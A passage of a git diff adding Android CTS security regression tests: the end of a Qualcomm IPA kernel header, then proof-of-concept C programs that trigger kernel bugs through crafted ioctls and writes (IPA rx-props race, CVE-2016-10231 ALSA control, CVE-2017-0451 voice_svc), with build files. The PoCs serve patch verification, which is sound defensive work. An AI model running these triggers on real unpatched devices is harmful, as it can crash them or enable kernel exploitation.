+ * of buffer to find out type and length of message
+ * size of buffer supplied >= (size of largest message + size of metadata)
+ *
+ * For pull model:
+ * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
+ * with a payload containing space for the ipa_msg_meta and the message specific
+ * payload length.
+ * size of buffer supplied == (len of specific message  + size of metadata)
+ */
+struct ipa_msg_meta {
+        uint8_t msg_type;
+        uint8_t rsvd;
+        uint16_t msg_len;
+};
+
+/**
+ * struct ipa_wlan_msg - To hold information about wlan client
+ * @name: name of the wlan interface
+ * @mac_addr: mac address of wlan client
+ *
+ * wlan drivers need to pass name of wlan iface and mac address of
+ * wlan client along with ipa_wlan_event, whenever a wlan client is
+ * connected/disconnected/moved to power save/come out of power save
+ */
+struct ipa_wlan_msg {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
+};
+
+/**
+ * enum ipa_wlan_hdr_attrib_type - attribute type
+ * in wlan client header
+ *
+ * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
+ * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
+ */
+enum ipa_wlan_hdr_attrib_type {
+        WLAN_HDR_ATTRIB_MAC_ADDR,
+        WLAN_HDR_ATTRIB_STA_ID
+};
+
+/**
+ * struct ipa_wlan_hdr_attrib_val - header attribute value
+ * @attrib_type: type of attribute
+ * @offset: offset of attribute within header
+ * @u.mac_addr: mac address
+ * @u.sta_id: station id
+ */
+struct ipa_wlan_hdr_attrib_val {
+        enum ipa_wlan_hdr_attrib_type attrib_type;
+        uint8_t offset;
+        union {
+                uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
+                uint8_t sta_id;
+        } u;
+};
+
+/**
+ * struct ipa_wlan_msg_ex - To hold information about wlan client
+ * @name: name of the wlan interface
+ * @num_of_attribs: number of attributes
+ * @attrib_val: holds attribute values
+ *
+ * wlan drivers need to pass name of wlan iface and mac address
+ * of wlan client or station id along with ipa_wlan_event,
+ * whenever a wlan client is connected/disconnected/moved to
+ * power save/come out of power save
+ */
+struct ipa_wlan_msg_ex {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_of_attribs;
+        struct ipa_wlan_hdr_attrib_val attribs[0];
+};
+
+struct ipa_ecm_msg {
+        char name[IPA_RESOURCE_NAME_MAX];
+        int ifindex;
+};
+
+/**
+ * struct ipa_wan_msg - To hold information about wan client
+ * @name: name of the wan interface
+ *
+ * CnE need to pass the name of default wan iface when connected/disconnected.
+ * netmgr need to pass the name of wan eMBMS iface when connected.
+ */
+struct ipa_wan_msg {
+        char upstream_ifname[IPA_RESOURCE_NAME_MAX];
+        char tethered_ifname[IPA_RESOURCE_NAME_MAX];
+        enum ipa_ip_type ip;
+};
+
+/**
+ * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
+ * @resource_name: name of dependent resource
+ * @depends_on_name: name of its dependency
+ */
+struct ipa_ioc_rm_dependency {
+        enum ipa_rm_resource_name resource_name;
+        enum ipa_rm_resource_name depends_on_name;
+};
+
+struct ipa_ioc_generate_flt_eq {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+};
+
+/**
+ * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
+ * @mux_id: mux id of wan
+ */
+struct ipa_ioc_write_qmapid {
+        enum ipa_client_type client;
+        uint8_t qmap_id;
+};
+
+enum ipacm_client_enum {
+        IPACM_CLIENT_USB = 1,
+        IPACM_CLIENT_WLAN,
+        IPACM_CLIENT_MAX
+};
+/**
+ *   actual IOCTLs supported by IPA driver
+ */
+#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_HDR, \
+                                        struct ipa_ioc_add_hdr *)
+#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_HDR, \
+                                        struct ipa_ioc_del_hdr *)
+#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_RT_RULE, \
+                                        struct ipa_ioc_add_rt_rule *)
+#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_RT_RULE_AFTER, \
+                                        struct ipa_ioc_add_rt_rule_after *)
+#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_RT_RULE, \
+                                        struct ipa_ioc_del_rt_rule *)
+#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_FLT_RULE, \
+                                        struct ipa_ioc_add_flt_rule *)
+#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_FLT_RULE_AFTER, \
+                                        struct ipa_ioc_add_flt_rule_after *)
+#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_FLT_RULE, \
+                                        struct ipa_ioc_del_flt_rule *)
+#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
+                                        IPA_IOCTL_COMMIT_HDR)
+#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
+                                        IPA_IOCTL_RESET_HDR)
+#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_COMMIT_RT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_RESET_RT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_COMMIT_FLT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_RESET_FLT, \
+                        enum ipa_ip_type)
+#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_DUMP)
+#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_RT_TBL, \
+                                struct ipa_ioc_get_rt_tbl *)
+#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PUT_RT_TBL, \
+                                uint32_t)
+#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_COPY_HDR, \
+                                struct ipa_ioc_copy_hdr *)
+#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_INTF, \
+                                struct ipa_ioc_query_intf *)
+#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_INTF_TX_PROPS, \
+                                struct ipa_ioc_query_intf_tx_props *)
+#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_QUERY_INTF_RX_PROPS, \
+                                        struct ipa_ioc_query_intf_rx_props *)
+#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
+                                        struct ipa_ioc_query_intf_ext_props *)
+#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_HDR, \
+                                struct ipa_ioc_get_hdr *)
+#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PUT_HDR, \
+                                uint32_t)
+#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_ALLOC_NAT_MEM, \
+                                struct ipa_ioc_nat_alloc_mem *)
+#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_V4_INIT_NAT, \
+                                struct ipa_ioc_v4_nat_init *)
+#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NAT_DMA, \
+                                struct ipa_ioc_nat_dma_cmd *)
+#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_V4_DEL_NAT, \
+                                struct ipa_ioc_v4_nat_del *)
+#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_NAT_OFFSET, \
+                                uint32_t *)
+#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_SET_FLT, \
+                        uint32_t)
+#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PULL_MSG, \
+                                struct ipa_msg_meta *)
+#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_RM_ADD_DEPENDENCY, \
+                                struct ipa_ioc_rm_dependency *)
+#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_RM_DEL_DEPENDENCY, \
+                                struct ipa_ioc_rm_dependency *)
+#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GENERATE_FLT_EQ, \
+                                struct ipa_ioc_generate_flt_eq *)
+#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_EP_MAPPING, \
+                                uint32_t)
+#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_RT_TBL_INDEX, \
+                                struct ipa_ioc_get_rt_tbl_indx *)
+#define IPA_IOC_WRITE_QMAPID  _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_WRITE_QMAPID, \
+                                struct ipa_ioc_write_qmapid *)
+#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_MDFY_FLT_RULE, \
+                                        struct ipa_ioc_mdfy_flt_rule *)
+#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_MDFY_RT_RULE, \
+                                        struct ipa_ioc_mdfy_rt_rule *)
+
+#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
+                                struct ipa_wan_msg *)
+
+#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
+                                struct ipa_wan_msg *)
+#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
+                                struct ipa_wan_msg *)
+#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_ADD_HDR_PROC_CTX, \
+                                struct ipa_ioc_add_hdr_proc_ctx *)
+#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_DEL_HDR_PROC_CTX, \
+                                struct ipa_ioc_del_hdr_proc_ctx *)
+
+#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_HW_VERSION, \
+                                enum ipa_hw_type *)
+
+/*
+ * unique magic number of the Tethering bridge ioctls
+ */
+#define TETH_BRIDGE_IOC_MAGIC 0xCE
+
+/*
+ * Ioctls supported by Tethering bridge driver
+ */
+#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE        0
+#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS        1
+#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS        2
+#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES        3
+#define TETH_BRIDGE_IOCTL_MAX                        4
+
+
+/**
+ * enum teth_link_protocol_type - link protocol (IP / Ethernet)
+ */
+enum teth_link_protocol_type {
+        TETH_LINK_PROTOCOL_IP,
+        TETH_LINK_PROTOCOL_ETHERNET,
+        TETH_LINK_PROTOCOL_MAX,
+};
+
+/**
+ * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
+ */
+enum teth_aggr_protocol_type {
+        TETH_AGGR_PROTOCOL_NONE,
+        TETH_AGGR_PROTOCOL_MBIM,
+        TETH_AGGR_PROTOCOL_TLP,
+        TETH_AGGR_PROTOCOL_MAX,
+};
+
+/**
+ * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
+ * @aggr_prot:                        Aggregation protocol (MBIM / TLP)
+ * @max_transfer_size_byte:        Maximal size of aggregated packet in bytes.
+ *                                Default value is 16*1024.
+ * @max_datagrams:                Maximal number of IP packets in an aggregated
+ *                                packet. Default value is 16
+ */
+struct teth_aggr_params_link {
+        enum teth_aggr_protocol_type aggr_prot;
+        uint32_t max_transfer_size_byte;
+        uint32_t max_datagrams;
+};
+
+
+/**
+ * struct teth_aggr_params - Aggregation parmeters
+ * @ul:        Uplink parameters
+ * @dl: Downlink parmaeters
+ */
+struct teth_aggr_params {
+        struct teth_aggr_params_link ul;
+        struct teth_aggr_params_link dl;
+};
+
+/**
+ * struct teth_aggr_capabilities - Aggregation capabilities
+ * @num_protocols:                Number of protocols described in the array
+ * @prot_caps[]:                Array of aggregation capabilities per protocol
+ */
+struct teth_aggr_capabilities {
+        uint16_t num_protocols;
+        struct teth_aggr_params_link prot_caps[0];
+};
+
+/**
+ * struct teth_ioc_set_bridge_mode
+ * @link_protocol: link protocol (IP / Ethernet)
+ * @lcid: logical channel number
+ */
+struct teth_ioc_set_bridge_mode {
+        enum teth_link_protocol_type link_protocol;
+        uint16_t lcid;
+};
+
+/**
+ * struct teth_ioc_set_aggr_params
+ * @aggr_params: Aggregation parmeters
+ * @lcid: logical channel number
+ */
+struct teth_ioc_aggr_params {
+        struct teth_aggr_params aggr_params;
+        uint16_t lcid;
+};
+
+
+#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
+                                struct teth_ioc_set_bridge_mode *)
+#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
+                                struct teth_ioc_aggr_params *)
+#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
+                                struct teth_ioc_aggr_params *)
+#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
+                                struct teth_aggr_capabilities *)
+
+/*
+ * unique magic number of the ODU bridge ioctls
+ */
+#define ODU_BRIDGE_IOC_MAGIC 0xCD
+
+/*
+ * Ioctls supported by ODU bridge driver
+ */
+#define ODU_BRIDGE_IOCTL_SET_MODE        0
+#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR        1
+#define ODU_BRIDGE_IOCTL_MAX                2
+
+/**
+ * enum odu_bridge_mode - bridge mode
+ *                        (ROUTER MODE / BRIDGE MODE)
+ */
+enum odu_bridge_mode {
+        ODU_BRIDGE_MODE_ROUTER,
+        ODU_BRIDGE_MODE_BRIDGE,
+        ODU_BRIDGE_MODE_MAX,
+};
+
+#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
+                                ODU_BRIDGE_IOCTL_SET_MODE, \
+                                enum odu_bridge_mode)
+
+#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
+                                ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
+                                struct in6_addr *)
+
+#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp b/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp
new file mode 100644
index 0000000..aa9410f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35048450/poc.cpp
@@ -0,0 +1,64 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+*/
+
+
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <string.h>
+#include "local_poc.h"
+#include <unistd.h>
+#include <stdio.h>
+
+struct ipa_ioc_query_intf_rx_props_2 {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_rx_props;
+        struct ipa_ioc_rx_intf_prop rx[2];
+};
+int main() {
+
+        int fd = open("/dev/ipa", O_RDWR);
+
+        struct ipa_ioc_query_intf query_intf;
+        strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+
+        int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
+
+        ipa_ioc_query_intf_rx_props_2 rx_props_2;
+        memset(&rx_props_2, 0, sizeof(rx_props_2));
+        strlcpy(&(rx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+        rx_props_2.num_rx_props = 2;
+
+        int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props_2);
+
+        while (true) {
+                ipa_ioc_query_intf_rx_props rx_props;
+                memset(&rx_props, 0, sizeof(rx_props));
+                strlcpy(&(rx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+                rx_props.num_rx_props = 0;
+
+                int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_RX_PROPS, &rx_props);
+
+                usleep(10000);
+        }
+        return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
new file mode 100644
index 0000000..3ba801e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10231
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
new file mode 100644
index 0000000..b6b82d7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <string.h>
+#include <stdlib.h>
+
+#define SNDRV_CTL_IOCTL_ELEM_WRITE	_IOWR('U', 0x13, struct snd_ctl_elem_value)
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_aes_iec958 {
+    unsigned char status[24];
+    unsigned char subcode[147];
+    unsigned char pad;
+    unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_id {
+    unsigned int numid;
+    snd_ctl_elem_iface_t iface;
+    unsigned int device;
+    unsigned int subdevice;
+    unsigned char name[44];
+    unsigned int index;
+};
+
+struct snd_ctl_elem_value {
+    struct snd_ctl_elem_id id;
+    unsigned int indirect: 1;
+    union {
+	union {
+	    long value[128];
+	    long *value_ptr;
+	} integer;
+	union {
+	    long long value[64];
+	    long long *value_ptr;
+	} integer64;
+	union {
+	    unsigned int item[128];
+	    unsigned int *item_ptr;
+	} enumerated;
+	union {
+	    unsigned char data[512];
+	    unsigned char *data_ptr;
+	} bytes;
+	struct snd_aes_iec958 iec958;
+    } value;
+    struct timespec tstamp;
+    unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+    struct snd_ctl_elem_value val;
+    memset(&val, 0xff, sizeof(val));
+    val.id.numid = 0x80;
+    val.id.iface = 0x1;
+    val.id.device = 0x400;
+    val.id.subdevice = 0x7;
+    memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
+    val.id.index = 4;
+    val.value.integer.value[0] = 0x30;
+    int fd = open("/dev/snd/controlC0", O_RDWR);
+    ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
index de88a3b..b81ee0c 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/poc.c
@@ -87,7 +87,6 @@
     struct kgsl_drawctxt_create ctx;
     ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
     ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx);
-    printf("[*] IOCTL_KGSL_DRAWCTXT_CREATE id(%d), errno = %d\n", ctx.drawctxt_id, errno);
     g_ctx_id = ctx.drawctxt_id;
 }
 
@@ -95,38 +94,22 @@
     struct kgsl_drawctxt_destroy ctx;
     ctx.drawctxt_id = id;
     ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx);
-    //printf("[*] IOCTL_KGSL_DRAWCTXT_DESTROY, errno = %d\n", errno);
+
 }
 
 void trigger_kgsl_timestamp_event() {
-    
-    
-    //mprotect(event.priv, 0x1000, PROT_READ);
-    
     ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event);
-    printf("[*] IOCTL_KGSL_TIMESTAMP_EVENT fd(%d), errno = %d\n", *(int*)g_event.priv, errno);
 }
 
 int open_driver() {
     char* dev_path = "/dev/kgsl-3d0";
     g_fd = open(dev_path, O_RDWR);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
     return g_fd;
 }
 
 
 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
     setpriority(PRIO_PROCESS, gettid(), privi);
-    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
-    }
 }
 
 
@@ -155,7 +138,6 @@
     g_event.priv = malloc(0x1000);
     g_event.timestamp = 0;
     mprotect(g_event.priv, 0x1000, PROT_READ);
-    //printf("[*] close fd errno = %d\n", errno);
 
     pthread_t tid;
     pthread_create(&tid, NULL, race_thread, NULL);
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
new file mode 100644
index 0000000..6e52fa7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0451
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact                                                                            \
+ 
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
new file mode 100644
index 0000000..88b7378
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#define MSG_REQUEST  0x2
+
+struct voice_svc_write_msg {
+    __u32 msg_type;
+    __u8 payload[0];
+};
+
+int main() {
+    int g_fd = 0;
+    char* dev_path = "/dev/voice_svc";
+
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        return -1;
+    }
+
+    int size = sizeof(struct voice_svc_write_msg) + 4;
+    char* msg = (char*)malloc(size);
+
+    (msg + 4)[0] = 'A';
+    (msg + 4)[1] = 'A';
+    (msg + 4)[2] = 'A';
+    (msg + 4)[3] = 'A';
+    ((struct voice_svc_write_msg*)msg)->msg_type = MSG_REQUEST;
+
+    int i;
+    for (i = 0; i < 20; ++i) {
+        write(g_fd, msg, size);
+        sleep(1);
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
new file mode 100644
